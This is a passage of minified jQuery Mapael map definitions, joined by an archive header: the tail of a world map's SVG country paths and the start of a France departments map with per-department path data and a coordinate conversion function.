-1.79,-0.21 -0.97,0.15 -0.75,-1.74 -2.42,0.03 -2.42,0.37 -0.86,-0.02 -0.93,1.02 -1.56,1.13 z m -1.55,-2.08 c 0.91,0.01 0.35,-0.34 0,0 z m 0.78,0.07 c -1.32,0.17 -2.19,-0.12 -0.23,0.83 -3,-0.14 0.37,0.45 -0.87,0.2 -0.08,1.01 -2.44,0.7 -0.81,1.17 1.24,-0.02 6.78,-3.02 1.91,-2.2 z",GM:"m 425.26,198.03 c 0.71,0.78 4.95,-0.82 1.67,-0.13 -2.57,-0.56 2.45,-0.38 3.36,-1.13 0.97,0.82 5.3,1.12 1.67,1.51 -2.03,-2.19 -5.77,2.16 -6.69,-0.26 z",QA:"m 612.64,164.51 c -0.22,-1.8 2.78,-3.37 2.25,0.05 0.69,2.01 -2.87,3.02 -2.25,-0.05 z",JM:"m 254.5,184.26 c 1.77,-2.44 8.32,1.83 4.21,0.87 -1.02,1.21 -2.73,-0.09 -4.21,-0.87 z",CY:"m 561.46,137.2 c 1.04,-0.9 5.64,-1.47 5.97,-1.65 -1.79,1.36 -1.58,1.89 -3.94,2.84 -0.7,-0.33 -1.76,-0.28 -2.03,-1.19 z",PR:"m 288.97,185.11 c -1.94,1.26 -5.5,-1.35 -2.16,-1.59 0.95,0.19 4.71,0.05 2.16,1.59 z",PS:"m 568.89,145.08 c 2.09,-3.37 1.99,4.04 -0.09,1.92 1.69,-1.65 -0.49,0.09 0.09,-1.92 z",BN:"m 788.31,222.72 c 1.27,-0.22 3.44,-2.27 1.95,0.11 0.51,2.62 -1.33,0.75 -1.95,-0.11 z",TT:"m 300.22,207.39 c 2.05,-0.48 0.12,-3.15 2.58,-1.96 0.31,2.2 -0.78,1.84 -2.58,1.96 z",PF:"m 57.69,285.59 c 1.46,0.8 -1.48,-1.8 -0.45,-0.06 z",WS:"m 991.64,273.63 c -1.72,1.32 3.38,0.32 0,0 z",LU:"m 487.81,95.39 c 0.65,-2.6 3.8,2.42 0.17,0.89 0.5,-0.17 -0.04,-0.74 -0.17,-0.89 z",KM:"m 592.41,269.2 c 0.31,-2.77 -1.68,-1.13 0,0 z",FO:"m 452.8,60.76 c -2.56,-1.32 1.36,1.68 0,0 0.91,0.61 0.44,-0.7 -0.34,-0.19 z",SS:"m 566.64,207.99 c -0.19,2.08 0.23,4.73 -2.7,4.14 -1.45,2.41 2.99,1.96 3.64,4.3 1.51,1.46 1.41,4.35 3.61,4.48 1.29,3.62 -5.24,-0.17 -6.05,3.95 -2.72,0.1 -4.39,0.87 -6.86,0.14 -1.77,2.62 -3.4,-4.33 -5.5,-1.69 -2.28,0.44 -5.15,-0.75 -5.45,-3.69 -2.8,-1.08 -2.37,-4.15 -5.49,-5.07 0.86,-2.33 -4.24,-1.45 -2.5,-3.64 1.26,-1.32 1.02,-3.42 2.14,-5.03 3.11,-1.81 2.65,4.17 5.98,2.03 1.8,0.07 3.66,2.2 4.99,-0.26 1.68,-0.25 2.29,-3.22 4.19,-0.41 2.39,0.9 4.63,-3.17 4.68,-5.07 -0.07,-1.62 -1.35,-1.85 0.96,-1.89 0.29,-1.86 2.27,-0.18 1.05,1.26 -0.23,2.66 2.99,4.66 2.5,6.51 l 0.51,0.04 z"}}}}),b});vendor/mapael/maps/france_departments.min.js000066600000410400151150443020015222 0ustar00!function(a){"object"==typeof exports?module.exports=a(require("jquery"),require("jquery-mapael")):"function"==typeof define&&define.amd?define(["jquery","mapael"],a):a(jQuery,jQuery.mapael)}(function(a,b){"use strict";return a.extend(!0,b,{maps:{france_departments:{width:600.08728,height:626.26221,getCoords:function(a,b){var c,d,e,f,g,h;return a<43.1571&&b>8.17199?(c=43.64246,d=181.3452,g=b*c+d,e=-65.77758,f=3346.37839,h=a*e+f):(c=45.48385,d=220.22005,g=b*c+d,e=-65.97284,f=3371.10748,h=a*e+f),{x:g,y:h}},elems:{"department-29":"m 37.28,156.11 c -1.42,1.23 -3.84,1.18 -3.99,3.49 -1.31,-2.24 -8,-0.27 -6.23,1.86 -0.83,0.29 -3.61,-0.09 -4.72,1.08 1.27,-3.15 -2.84,-2.76 -4.74,-1.32 -1.52,0.3 0.5,1.51 -1.67,1.26 -1.43,1.46 -5.78,-1.22 -5,1.7 2.01,2.28 -4.44,-1.17 -2.19,2.21 2.05,2.35 -1.91,-1.21 -3.2,0.17 -2.44,0.46 -5.9,3.28 -4.27,6.2 1.31,1.03 -2.45,2.79 -0.89,4.68 1.85,1.54 -1.54,4.66 1.85,4.99 2.29,0.7 2.49,-2.98 4.87,-0.96 3.08,0.74 5.89,-2.07 8.89,-2.74 1.93,-0.34 5.67,-2.04 6.34,-1.85 -2,1.78 -5.83,1.89 -6.41,4.93 -0.69,1.92 2.11,-0.67 2.33,1.07 1.34,-0.89 2.68,-1.87 3.94,-1.39 3.81,-2.03 -2.75,2.24 0.52,1.99 1.47,0.34 4.01,0.96 4.33,1.46 -1.94,0.3 -3.28,1.07 -4.57,-0.08 -2.38,0.71 -4.58,1.45 -6.63,0.05 -2.75,0.86 -5.75,0.61 -4.18,-2.84 -3.29,-0.24 -0.4,5.1 -3.79,3.67 -1.2,2.84 5.41,0.67 2.62,3.42 0.89,1.41 -0.15,5.78 1.86,2.76 0.83,-2.29 2.62,-4.57 5.09,-2.36 1.97,1.37 5.1,0.79 5.41,4 1.86,2.04 -0.29,6.23 -3,3.6 -3.95,0.62 -7.67,1.95 -11.58,2.45 -2.09,0.38 -5.98,-0.08 -4.41,2.7 2.53,0.06 4.87,1.62 7.03,1.82 2.62,-1.48 5.9,3.16 7.51,5.27 1.61,2.44 2.66,5.4 0.91,7.66 1.94,1.19 5.11,1.18 7.5,0.75 1.99,-0.45 3.16,-2.44 1.04,-3.28 -1.05,-1.98 0.82,-2.27 1.51,-0.45 3.34,0.23 -0.63,-4.11 0.69,-3.65 0.91,2.75 3.66,3.46 5.82,3.53 2.26,0.86 -0.02,-4.66 2.92,-2.01 2.11,1.7 2.69,4.22 4.57,6.13 2.01,0.11 4.17,0.12 6.01,-0.65 1.82,2.12 5.68,2.27 8.25,2.23 1.8,-1.51 -1.55,-4.66 0.95,-5.09 0.94,2.57 3.24,-0.19 3.58,-1.33 2.95,0.23 0.38,-3.13 2.08,-4.2 -0.21,-1.43 -0.64,-3.61 -2.53,-1.94 -1.44,2.09 -1.76,-1.59 -3.7,-1.52 -2.13,-1.41 -5.77,1.37 -6.1,-2.55 -0.44,-2.07 -2.04,-3.22 -2.32,-5.05 -2.23,-0.45 0.49,-4.53 2.59,-4.02 1.42,-1.43 5.76,-1.87 5.77,-3.15 -3.54,-1.5 2.53,-4.55 -0.88,-5.73 0.6,-1.35 -0.87,-3.79 -0.56,-5.72 -3.53,0.13 -1.65,-3.79 0.06,-4.6 -3.56,-1.53 -0.98,-4.21 0.33,-6.05 -1.3,-1.16 -2.22,-1.16 -1.99,-2.94 -3.12,-0.26 -3.41,-4.67 -2.3,-6.54 -0.38,-1.53 -3.23,-0.42 -4.45,-1.94 -2.01,-0.12 -5.18,-1.19 -4.7,2.29 -0.84,1.4 0.25,4.35 -1.82,2.22 -1.36,-0.49 -0.48,-3.38 -2.36,-1.3 -1.28,1.93 -1.52,-3.86 -1.99,-4.38 z m -9.88,28.66 0,0.02 0,-0.02 z","department-22":"m 77.67,146.73 c -2.58,0.94 -4.37,2.6 -5.78,4.84 1.21,-2.76 0.01,-6.18 -2.26,-2.58 -2.86,-0.54 -4.85,2.02 -7.32,2.35 0.05,-2.38 -5.14,-2.89 -4.97,-0.27 -1.65,0.69 -2.79,2.55 -0.54,3.83 1.42,1.41 -3.19,1.12 -1.21,3.58 0.75,2.79 -2.62,-0.53 -2.95,1.74 -2.03,2.25 0.93,5.14 2.73,6.11 -0.89,1.81 3.77,1.87 0.94,3.62 -2.27,1.33 -1.69,4.1 0.71,4.68 -2.37,0.99 -3.54,4.66 -0.18,4.93 -0.75,1.8 0.34,4.07 1.35,3.89 -2.23,1.45 2.07,3.31 -1.02,4.81 -1.32,1.63 3.39,3.81 -0.37,3.46 -0,1.68 3.4,-0.17 4.6,0.64 2.17,-1.15 0.09,3.47 2.84,1.65 2.78,-2.51 5.12,2.28 8.16,0.11 1.28,-1.21 4.21,0.16 3.71,-2.72 2.36,-2.11 5.53,-0.32 6.55,2.07 3.1,-1.66 5.66,1.79 8.52,1.44 1.09,1.13 1.31,4.63 2.54,1.67 1.77,0.69 4.7,-2.67 4.36,1 -1.42,1.92 -0.06,5.98 2.29,3.25 2.15,-1.33 3.24,-3.52 3.71,-5.84 -1.55,-1.8 3.03,-1.29 4.1,-2.17 2.56,0.5 2.84,5.71 5.3,2.6 2.48,-0.52 4.76,-2.21 4.35,-5.23 2.66,1.35 0.38,-3.98 3.68,-3.07 2.3,0.76 0.88,-1.21 2.74,-1.68 0.93,-2.46 3.26,2.1 3.88,-0.74 2.87,-0.05 0.28,-3.49 2.75,-3.67 -0.67,-1.88 -0.1,-4.12 -0.62,-6.07 1.57,-1.46 2.25,-5.3 0.59,-6.78 -0.36,1.32 -2.86,3.56 -2.08,0.75 -0.58,-2.28 -2.24,-1.04 -3,-0.66 -0.39,-2.19 -3.7,-1.69 -4.26,-4.29 -2.01,-0.96 -0.92,3.96 -2.61,1.33 -0.93,2.11 -1.72,-1.85 -2.25,-2.64 -0.23,-2.69 -5.02,3.57 -3.11,-0.38 2.12,-1.4 -0.5,-4.55 -1.42,-1.9 -1.94,1.15 -2.92,1.92 -4.85,1.1 -2.9,-0.12 0.52,1.54 -2.1,2.49 -3.58,0.78 -5.19,5.69 -8.5,5.48 0.49,3.36 -2.74,-0.19 -2.06,-1.81 -2.95,-1.1 -4.73,-3.24 -4.7,-6.38 -2,-2 -5.44,-3.63 -5.11,-6.81 -0.95,-1.07 -6.79,-1.08 -3.38,-3.09 0.47,-2.76 -4.12,-1.19 -3.66,1.11 -0.44,1.73 -2.27,2.41 -0.65,0.39 1.33,-1.47 1.44,-4.62 0.53,-6.14 z","department-56":"m 78.99,190.76 c -3.41,-1.13 -2.2,3.92 -5.32,2.9 -1.41,0.4 -1.19,1.61 -2.99,0.82 -1.13,0.79 -2.69,-0.38 -3.4,-0.47 -0.84,-2.28 -6.08,2.96 -4.76,-1.3 -1.92,-0.69 -4.61,-0.08 -6.81,-0.32 -2.56,1.49 -6.48,1.43 -6.89,4.97 1.66,0.45 1.27,1.18 1.54,2.72 2.29,1.28 1.38,6.71 5.21,4.85 2.27,-0.57 4.21,1.54 5.35,2.54 1.09,-1.75 3.9,-1.39 3.21,0.95 0.1,1.55 -1.11,2.84 -0.3,4.77 -2.2,-0.71 -3.03,4.58 -5.67,1.76 -1.43,0.94 1.23,2.98 -0.19,4.47 0.79,3.11 4.25,6.81 7.21,3.89 -1.96,-1.82 1.17,-1.04 2.08,-2.79 1.53,-1.34 1.85,-1.47 0.72,0.46 -0.96,1.01 -3.43,3.3 -0.38,3.09 1.49,0.45 3.45,4.36 4.77,2.88 -0.27,-2.53 3.83,-3.05 1.1,-5.44 1.05,0.63 2.71,-0.96 2.12,1.15 2.98,0.99 -0.94,3.03 -2.44,3.55 -2.08,3.14 3.5,3.77 1.75,6.92 -0.29,1.59 0.31,5.9 2.13,4.03 -1.68,-0.96 -1.89,-7.61 0.51,-4.94 -0.5,1.26 4.8,0.74 3.44,-1.25 0.35,-0.76 1.34,3.45 1.43,0.83 0.89,1.74 3.91,2.47 1.59,0.06 -0.51,-1.47 -0.02,-3.03 -0.87,-4.45 1.76,1.65 1.37,4.11 4.01,4.31 0.21,-1.28 1.88,-0.67 1.78,-2.23 1.83,0.46 2.89,-0.48 3.79,-0.93 2.28,0.82 -0.59,1.71 2.06,2.43 1.57,0.52 0.39,-4.11 1.62,-1.05 -0.46,2.03 -2.17,6.08 -4.56,4.17 -1.51,0.14 -2.97,0.56 -4.53,-0.67 -3.37,0.66 2.51,2.11 2.17,4.25 2.28,1.57 4.95,-1.33 7.46,-0.04 0.09,-2.03 1.34,-0.88 2.36,-1.71 -1.31,-1.38 4.01,-1.27 0.96,-0.1 0.22,1.93 4.41,-1.17 5.9,0.75 1.01,1.43 4.31,0.26 4.44,1.04 -2.33,0.43 -6.75,-0.69 -5.01,3.23 1.5,1.03 2.59,-3.6 4.01,-0.77 1.99,-0.12 4.3,0.38 4.4,-2.43 0.29,-2.58 2.25,-0.15 3.16,-0.22 1.19,-1.05 2.3,-1.01 2.74,0.42 1.6,-0.29 0.66,-3.06 3.03,-2.61 0.96,-1.59 -0.11,-4.05 1.01,-5.76 -1.21,-2.25 -1.75,-4.67 -1.62,-7.13 1.06,-1.01 4.05,-0.69 1.57,-1.96 -1.94,-0.06 -2.1,-1.17 -0.12,-1.66 0.89,-1.32 3.49,-4.07 1.04,-4.6 -2.47,1.93 -2.55,-3.4 -0.68,-4.04 -0.57,-3.25 -3.22,-4.81 -6.13,-5.41 -2.4,0.4 -4.25,0.1 -2.46,-2.49 0.6,-2.26 5.5,-0.56 4.09,-3.23 -1.75,-0.22 -3.84,2.7 -3.33,-0.63 0.01,-3.41 -3.32,-2.88 -4.84,-1.45 -0.88,-3.11 -3.48,-4.72 -6.36,-3.01 -2.15,-0.01 0.26,2.97 -2.05,3.88 -0.09,2.06 -3.87,4.92 -5.31,3.84 -1.21,-1.39 2.06,-7.27 -1.57,-5.21 -1.38,0.54 -2.88,0.33 -3.62,2.06 -0.18,-2.38 -1.59,-4.23 -4.05,-3.7 -1.5,-2.53 -4.89,-0.74 -6.39,-1.56 -0.77,-1.17 -1.33,-2.65 -3.1,-2.43 z","department-35":"m 134.53,157.78 c -2.29,1.25 -4.29,0.31 -6.19,1.59 -0.35,1.67 -2.93,2.17 -1.16,4.31 0.18,1.71 3.99,2.25 1.51,3.04 0.71,1.27 0.98,3.59 2.33,1.22 1.69,2.12 0.9,4.75 -0.11,6.67 -1.16,1.66 0.84,3.78 -0.19,5.68 1.34,1.46 -2.11,1.58 -0.78,3.48 0.21,2.25 -2.03,-0.13 -2.56,2.08 -1.42,-0.68 -2.58,-1.61 -3.47,0.21 -1.19,0.31 -0.39,2.42 -2.44,1.14 -3.01,-0.11 -1.06,4.1 -3.56,3.46 -0.04,2.21 -0.64,4.46 -2.86,4.2 0.62,1.53 1.56,3.49 1.75,5.16 0.54,-2.03 5.23,-1.03 2.52,0.76 -2.33,-0.69 -5.1,2.03 -3.97,3.88 2.89,-0.33 6.41,0.27 7.93,3.03 1.44,1.66 0.87,2.99 -0.39,4.33 0.11,1.6 0.84,3.69 2.2,1.35 0.71,-0.77 0.83,2.07 1.01,2.45 -1.23,1.26 -2.05,2.91 -3.28,3.92 1.71,0.13 3.61,2.39 0.59,2.1 -2.68,1.22 0.26,4 -0.22,5.86 2.34,-0.34 4.15,-1.76 6.12,-3.07 0.06,2.7 3.03,-0.8 4.56,-0.57 2.43,-1.1 5.63,0.82 7.84,-0.63 3.6,0.5 2.72,-4.87 6.32,-4.78 1.62,-0.77 5.16,-0.84 3.73,-3.31 2.85,-0.62 4.57,1.21 6.54,2.5 1.91,0.57 5.04,2.11 4.63,-1.3 1.15,-1.21 0.6,-2.9 1.92,-3.9 0.7,-1.81 1.08,-4.73 2.39,-6.4 1.07,-2.4 6.58,0.52 5.22,-3.48 -0.09,-3.31 -1.44,-6.24 -2.22,-9.58 0.1,-2.96 -2.26,-6.23 0.02,-8.8 1.83,-2.19 0.74,-5.58 -0.28,-8.01 0.55,-2.21 1.33,-6.39 -2.22,-6.48 -2.56,-0.06 -6.32,-3.21 -7.21,0.93 -2.37,0.79 -4.8,5.49 -7.02,1.82 -2.57,-0.44 -4.28,-3.63 -3.95,-6.18 -0.99,-1.91 -2.39,-5.92 -4.86,-2.88 -3.41,0.04 -8.02,2.16 -10.43,-0.96 -1.67,-2.06 2.03,-3.1 0.24,-4.85 z","department-44":"m 152.12,215.29 c 0.59,4.69 -7.52,2.23 -7.55,6.92 -2.45,2.92 -6.64,1.42 -9.84,1.79 -2.21,0.47 -4.62,2.21 -6.1,1.16 -2.15,1.71 -5.77,2.38 -4.86,5.66 -0.41,1.99 0.14,5.32 -2.78,5.46 0.29,3.39 -2.45,-0.35 -3.39,1.23 -1.97,-0.43 -3.4,-1.22 -3.87,1.43 -1.39,3.38 -7.86,-1.72 -6.53,3.45 1.04,0.36 3.95,1.27 1.26,1.45 -1.78,0.18 -4.38,-0.42 -5.51,2.1 0.81,1.67 6.76,3.88 3.55,5.8 -1.04,-0.85 -4.89,-1.36 -1.91,0.14 1.73,1.23 3.86,1.82 5.03,0.15 2.77,0.79 5.25,4.76 7.99,1.3 2.33,-2.98 5.67,-3.71 9.18,-3.56 3.26,1.31 7.02,1.76 9.14,4.89 0.59,1.56 5.82,2.63 2.15,2.16 -4.08,-0.08 -5.45,-5.45 -9.25,-4.42 -2.59,-1.44 -6.59,-0.45 -8.62,1.17 0.15,2.98 1.07,6.99 -2.64,7.63 1.56,2.78 6.83,0.77 8.69,4.16 2.99,2.74 4.83,7.09 8.9,8.42 0.9,1.88 5.53,0.57 5.08,3.59 3.08,0.7 6.82,2.86 9.67,1.11 2.13,-1.29 -2.55,-2.42 -0.14,-3.94 -2.91,-1.74 -0.81,-8.5 2.35,-5.93 0.6,2.44 -0.71,8.47 3.28,5.3 3.57,-0.9 -1,-7.35 3.9,-6.19 0.83,-0.5 2.39,-4.6 3.91,-1.32 1.06,2.31 6.94,2.33 4.03,-0.72 -1.16,-2.43 -6.27,-0.49 -4.19,-3.49 1.19,-2.09 4.14,-3.59 2.27,-6.58 -0.11,-2.99 -2.79,0.14 -3.66,-2.47 -0.42,-1.81 -2.18,-3.14 -3.54,-3 1.51,-3.16 6.07,-2.52 8.85,-3.95 3.12,-0.79 9.37,1.47 9.71,-3.23 -1.08,-2.47 -1.12,-5.9 -4.66,-5.46 -2.8,0.23 -7.97,-1.25 -5.65,-4.79 1.85,-0.34 7.04,1.35 6.32,-1.48 -2.96,-1.34 -7.7,-2.06 -7.06,-6.38 -0.89,-2.42 -4.47,-2.43 -3.18,-5.19 -2.78,-1.29 -5.51,-2.7 -8.1,-4.12 -0.73,-0.11 -1.47,-0.12 -2.19,-0.28 z","department-50":"m 131.13,90.31 c -1.88,0.95 -0.8,4.82 1.86,4.23 3.56,1.9 1.73,6.62 0.2,9.04 2.05,2.45 3.1,5.7 3,9 0.14,1.74 2.63,0.2 3.07,2.34 0.75,1.03 1.85,2.12 2.19,0.36 1.37,1.6 -1.38,2.27 1.05,3.66 1.37,1.28 0.99,6.4 3.69,4.06 1.9,0.29 2.45,1.19 0.04,0.86 -1.6,1.67 0.46,4.57 0.89,5.74 -2.97,1.02 -0.03,4.32 -0.89,6.45 0.25,4.18 2.26,-2.3 3.97,0.71 -3,-1.64 -2.73,4.63 -1.52,5.52 -1.39,1.53 -0.75,4.59 -2.48,6.57 2.85,1.89 0.3,6.73 3.77,8.41 0.72,3.65 6.47,2.47 6.87,4.86 -3.09,-0.67 -6.13,1.28 -9.29,0.14 2.12,2.48 1.69,5.44 3.35,8.16 0.49,2.03 2.9,1.69 3.89,3.28 2.85,0.97 3.52,-2.95 6.22,-3.35 0.5,-4.19 4.83,-0.16 7.12,-0.52 2.46,0.21 4.49,2.11 6.88,1.58 1.14,-3.4 4.72,2.61 6.05,-1.83 2.14,-1.71 4.11,-4.11 4,-6.8 -2.86,-1.65 2.62,-4.05 -1.04,-4.65 -1.19,-1.03 -1.99,-2.17 -3.44,-2.39 0.65,-1.72 0.69,-2.24 -1.24,-1.46 -2.15,-1.56 -3.83,-1.87 -6.18,-1.16 -1.5,-0.55 -4.16,0.68 -4.02,-2.14 -1.26,-0.78 -4.15,-1.48 -1.38,-2.84 0.99,-1.27 1.76,-1.9 2.97,-1.76 1.12,-1.18 3.8,-4.02 0.24,-2.9 -1.76,-0.83 1.02,-4.16 2.87,-2.17 3.08,-0.43 3.89,-3.82 6.01,-5.35 -2.27,-0.59 1.2,-4.39 -1.22,-5.32 -2.09,1.3 -1,0.15 0.07,-0.89 -1.07,-1.07 -4.55,-2.49 -1.49,-2.88 2.17,-1.47 -0.09,-4.82 -1.5,-1.9 -3.17,0.81 -5.99,-2.78 -7.94,-5.02 -1.69,-1.95 2.34,-3.94 -0.73,-4.53 -0.02,-1.64 -2.94,0.31 -1.33,-2.17 1.04,-2.89 -2.27,-4.45 -3.47,-6.64 -1.37,-1.99 -4.59,-6.54 -0.56,-7.31 0.17,-1.79 2.56,-1.35 1.09,-3.59 -0.43,-3.65 -3.79,-3.85 -6.83,-3.94 -3.88,-1.03 -4.69,4.08 -8.52,3.07 -3.16,1.2 -5.48,-1.83 -8.81,-1.65 -2.47,0.02 -3.19,-2.65 -5.7,-1.92 -0.51,-0.38 -1.01,-1.1 -1.74,-0.94 z","department-53":"m 208.55,167.1 c -1.01,1 0.05,3.16 -1.88,3.54 -1.52,-1.01 -2.64,-0.44 -3.16,1.13 -2.16,0.27 -4.3,-2.6 -6.35,-0.72 -2.51,0.71 -4.34,2.89 -6.91,3.52 -1.47,-0.07 -0.73,-3.05 -2.63,-1.24 -1.44,-0.25 -1.57,0.24 -1.23,1.52 -1.95,1.91 -3.12,-1.9 -4.31,-1.2 -0.57,-2.91 -4.17,-1.79 -5.68,-3.27 -1.71,1.43 -3.54,2.05 -5.24,0.23 -1.62,1.36 -0.04,4.11 -0.87,5.96 1,2.8 1.94,6.2 -0.3,8.68 -1.8,2.64 0.64,5.51 0.63,8.4 0.26,2.57 1.34,4.89 2.01,7.32 0.27,1.9 0.56,4.67 -2.4,4.46 -3.58,-1.21 -3.75,3.46 -4.8,5.71 -0.32,2.32 -3.14,4.44 -1.31,6.55 2.18,1.99 5.34,0.43 7.83,1.57 1.63,0.66 3.95,1.05 3.53,-1.27 2.64,-0.54 3.9,3.91 6.54,1.42 2.25,1.91 5.27,1.85 7.94,2.38 1.76,-0.55 3.96,-1.63 5.33,-1.8 0.74,-3.63 3.49,1.65 5.63,-0.72 3.1,-0.49 -0.69,-2.25 -1.75,-2.95 -1.24,-2.55 5.38,-2.7 2.17,-4.78 -2.1,-2.18 2.21,-3.41 3.9,-3.25 2.7,-2.12 -2.9,-5 -0.82,-7.18 1.54,-1.12 5.56,-0.07 4.23,-2.96 2.04,-1.51 -2.56,-3.7 0.57,-5.19 2.14,-0.95 4.31,-2.8 2.75,-5.2 0.4,-1.84 1.4,-3.83 0.29,-5.45 0.84,-2.27 2.74,-2.67 4.64,-3.69 0.49,-2.31 0.11,-5.38 -2.99,-3.91 -2.18,-0.9 -2.07,-4.02 -1.67,-5.52 -0.9,-1.11 -2.32,-1.86 -3.72,-2.1 z","department-49":"m 163.22,217.21 c -0.83,2.37 -1.6,5.33 1.37,5.86 1.81,2.08 0.91,5.95 4.42,6.63 2.22,0.05 6.13,2.61 1.99,3.38 -1.68,0.33 -6.88,-1.51 -4.42,1.8 -0.28,3.95 5.62,1.28 7.64,2.98 2.45,0.74 1.41,5.07 2.67,6.48 -2.29,2.93 -6.35,1.4 -9.46,1.86 -2.75,1.47 -6.15,1.11 -8.63,2.95 -2.19,2.35 2.81,0.48 2.57,3.2 0.31,2.29 2.55,1.71 3.57,1.87 1.63,2.89 1.11,5.74 -1.65,7.56 -1.38,3.05 3.73,1.85 4.64,4.57 0.65,0.86 -1.19,3.33 1.44,2.98 2.09,1.51 5.06,-0.93 6.83,0.87 2.12,0.24 3.87,3.37 5.76,0.52 2.61,-0.75 5.23,0.76 7.87,-0.16 3.45,0.68 4.18,-2.89 4.98,-5 2.46,-1.53 5.74,1.7 7.32,-1.15 3.52,-0.32 7.2,-1.11 10.47,-0.77 1.05,1.17 -2.26,1.94 0.29,2.63 2.66,0.88 1.49,-3.86 4.67,-2.23 0.32,-1.55 1.08,-6.07 4.26,-4.7 1.02,-3.55 0.54,-7.68 3.15,-10.63 1.2,-1.75 2.78,-3.33 2.02,-5.32 0.89,-2.49 1.94,-4.87 2.33,-7.52 -2.3,-1.25 2.95,-6.06 -1.28,-5.83 -1.14,3.4 -4.78,-0.25 -6.77,-0.21 -1.89,-1.86 -5.83,-3.95 -7.59,-1.47 -2.9,0.48 -5.51,-3.13 -2.87,-5.2 -1.31,-0.36 -3.53,1.25 -5.3,-0.11 -1.96,-0.38 -3.12,0.57 -3.07,-1.96 -1.12,-2.87 -4.12,0.14 -5.77,-2.2 -1.77,-0.71 -0.8,2.61 -3.03,1.75 -3.13,1.53 -6.89,1.32 -10.17,-0.06 -1.72,-2.25 -3.57,1.59 -5.08,-1.25 -0.8,-0.99 -3.72,-1.84 -2.9,0.37 -3.4,0.17 -6.97,-0.89 -10.18,-1.14 -0.72,-0.44 -1.37,-0.99 -2.14,-1.36 z","department-85":"m 161.28,265.2 c -0.97,1.7 -1.54,3.91 -3.7,2.64 -1.76,1.98 1.21,6.33 -3.05,6.68 -4.15,2.13 -1.3,-4.19 -2.86,-6.14 -3.81,-0.88 -3.43,4.2 -2.06,6.39 -1.18,1.59 2.88,3.89 -0.56,4.36 -2.8,1.01 -5.58,-1.25 -8.45,-1.27 -0.94,-1.21 -1.09,-3.22 -3.4,-2.64 -2.06,0.15 -1.35,-2.2 -3.49,-1.71 -2.48,-1.21 -5.24,-7.8 -7.15,-2.42 -0.59,3.85 -5.53,4.8 -4.91,9.21 0.37,4.17 5.72,4.87 7.16,8.67 2.67,2.58 4.99,5.43 6.65,8.8 0.87,1.89 0.24,6.13 2,6.75 0.16,-1.73 0.12,-2.45 1.07,-0.5 1.66,2.86 6.15,2.45 7.02,5.1 3.4,-0.42 6.93,0.3 7.04,4.36 1.27,2.81 4.49,-1.27 6.02,1.84 2.09,-0.13 3,3.11 4.96,3.02 -0.36,-3.97 4.41,-1.93 6.48,-3.3 1.71,-1.96 4.7,-2.5 6.81,-2.37 -1.17,1.68 -0.83,3.92 1.65,2.75 2.07,-0.36 4.04,-2.66 5.25,0.14 2.09,1.8 3.55,-0.97 5.61,-0.12 1.62,-1.38 3.3,-2.9 5.04,-3.72 0.18,-2.56 -3.47,-1.87 -3.87,-1.44 -0.63,-2.59 1.8,-5.29 -0.47,-7.7 0.94,-1.38 2.03,-1.54 1.08,-3.45 0.09,-2.1 -0.29,-4.13 -1.61,-5.22 0.65,-2.15 -1.16,-2.52 -0.79,-4.52 -1.57,-1.94 -3.3,-3.94 -1.89,-6.5 -1.72,-1.62 -5.39,-2.92 -5.22,-6.11 0.38,-2.29 -3.29,-2.9 -3.68,-5.31 -1.81,-2.01 -4.49,-1.74 -7.1,-1.32 -3.49,-1.03 -6.73,-2.66 -9.6,-4.96 z","department-79":"m 211.41,263.54 c -3.47,1 -7.46,-0.24 -10.55,2.01 -1.54,0.87 -3.61,1.5 -3.45,-0.55 -2.89,-0.11 -3.46,3 -4.1,4.64 -2.76,1.84 -6.3,1.53 -9.35,1.02 -2.77,-0.37 -6.01,2.62 -2.55,4.27 1.05,2.29 0.26,5.24 3.5,6.22 3.7,1.27 0.35,4.83 3.08,6.91 1.95,2.46 1.89,5.88 3.13,8.43 0.79,2.29 0.53,5.23 -0.6,6.69 2.08,1.92 -1.04,5.98 0.79,6.87 2.26,-2.05 4.86,2.6 1.35,3.21 -1.82,2.1 -4.84,2.03 -7.01,3.55 -1.92,3.7 2.7,4.91 3.24,8.13 1.44,0.37 2.62,0.88 2.81,2.1 3.32,-0.93 5.83,3.57 8.63,3.01 2.89,1.17 6.03,0.6 8.47,3.22 3.7,-0.54 3.87,6.56 7.56,4.57 1.73,-2.11 1.24,-5.98 4.87,-5.81 1.63,-2.21 4.23,-2.49 6.45,-1.63 1.55,-1.48 2.11,-4.78 -0.83,-4.33 -3.29,-1.46 -1.71,-5.49 -0.5,-7.4 1.75,-0.97 0.56,-7.43 -1.84,-3.75 -2.3,2.89 -5.28,-1.21 -4.22,-3.39 -2.48,-2.03 -1.19,-5.37 -2.68,-7.99 1.33,-2.02 1.71,-4.55 3.11,-6.42 -0.55,-0.92 -2.28,-2.13 -2.08,-2.45 -3.66,1.58 0.19,-4.05 1.24,-5.25 2.3,-2.33 -3.14,-3.07 -0.93,-5.56 1.44,-1.85 -3.47,-1.82 -0.33,-2.92 3.33,-0.16 0.56,-1.18 -0.24,-2.53 0.5,-2.54 0.1,-5.85 -1.91,-7.36 -1.96,-0.52 -0.38,-5.88 -4.15,-4.77 -2.43,-0.12 2.22,-3.17 -0.9,-2.74 z","department-17":"m 175.73,312.62 c -2.1,1.05 -4.89,0.98 -6.33,3.16 -2.59,0.12 1.24,4.72 -2.26,5.02 -2,0.79 -4.42,5.17 -2.11,6.01 2.93,0 2.49,3.17 4.17,4.84 0.72,1.37 3.67,5.65 0.03,4.87 -2.18,0.36 1.95,2.77 0.48,4.24 1.55,2.23 0.05,3.13 -1.55,3.46 -0.38,1.57 -2.23,1.63 -0.92,3.81 0.7,3.56 3.92,5.46 6.53,7.53 -3.66,-0.31 -5.1,-4.96 -7.98,-5.25 -3.89,-1.1 -3.52,4.91 -2.88,6.67 2.74,-1.46 4.76,2.94 7.48,3.54 3.34,1.31 3.69,5.42 7.19,6.15 4.09,3 7.55,7.17 8.5,12.27 0.26,3.76 5.67,2.29 7.12,1.56 -1.08,5.27 6.99,0.78 7.08,5.12 0.92,1.82 -0.24,5.87 1.93,6.53 3.38,-1.84 5.25,4.16 8.91,4.29 2.53,1.16 3.84,-3.72 5.99,-0.43 0.42,-1.35 1.41,-3.02 1.97,-3.79 -0.43,-1.67 1.72,-4.75 -1.44,-5.53 -1.82,-0.53 -4.59,0.36 -3.27,-2.54 -1.47,-1.11 -5.11,-3.27 -7.08,-1.29 -2.02,-1.16 -0.75,-3.34 0.78,-3.22 -1.02,-0.53 -4.64,-2.27 -1.19,-3.33 4.28,-0.66 -2.5,-4.27 0.56,-5.26 2.44,-2.46 -2.28,-2.77 -2.54,-4.29 